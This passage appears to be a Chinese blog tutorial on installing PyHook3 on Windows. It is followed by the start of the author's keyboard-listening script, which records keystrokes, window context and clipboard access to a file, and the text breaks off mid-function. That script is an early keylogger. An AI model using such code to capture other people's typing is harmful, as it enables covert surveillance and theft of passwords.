Windows PyHook3安装和使用
首先安装pythoncom
pythoncom:http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download
下载后复制进python/Lib/site-packages/
然后进入文件cmd输入python setup.py install
注意python版本,比如我的同时安装py2,3,就要用python3运行才行
(下面的安装都是这个步骤)
然后安装Swig
下载Swig for Windows:http://www.swig.org/download.html
找到对应的版本下载
注意下载后里面有swig.exe文件,没有的话还要按照doc编译swig,没有cygwin也很麻烦,所以找编译好的对应版本下载。
下载后放到安装软件的地方,添加环境变量path
cmd输入swig –help,输出help的内容说明能用了
然后添加环境变量PYTHON_INCLUDE 和 PYTHON_BIN
在文档和官网中有详细说明是什么
PYTHON_INCLUDE是python3的include路径
PYTHON_BIN是python3里的libs下的python3X.lib文件
举例
PYTHON_INCLUDE: D:\python\include;
PYTHON_BIN: D:\python\libs\python36.lib;
记得安装.Net Framework和VC对应版本
这些东西一般都有,没有会提醒你安装,点到微软的下载页面down下来安装即可
安装pywin32
地址:http://www.lfd.uci.edu/~gohlke/pythonlibs/#pywin32
找到适合你的系统的版本下载
安装PyHook3
pip install PyHook3
即可下载PyHook3到你的python下的Lib/site-packages
但是不知道为什么我的PyHook3少文件
缺少cpyHook.i文件
于是我又下载了python_py3k,把里面的文件移到了PyHook3里,再次安装成功了.
python_py3k:https://github.com/Answeror/pyhook_py3k
安装完成后,进入PyHook3文件夹,运行python example.py
没有问题,表明成功
同时example.py里也给出了鼠标监听和键盘监听的使用方法
稍加修改后,我写了一份可以把监听结果保存在文件中的代码
# -*- coding: utf-8 -*-
from ctypes import *
import pythoncom
import PyHook3
import win32clipboard
import os,sys
path=os.getcwd()
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
#退出监听的指令单词,可以修改
QUIT_WORD="BIGBANG"
QUIT_CONT=QUIT_WORD
# Fkey=["F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","F11","F12"]
# 定义击键监听事件函数
def OnKeyboardEvent(event):
global current_window,QUIT_WORD,QUIT_CONT,path
FileStr=""
if(len(QUIT_WORD)==0):
FileStr+="\n--------------------结束监听--------------------\n\n\n"
fp=open(path+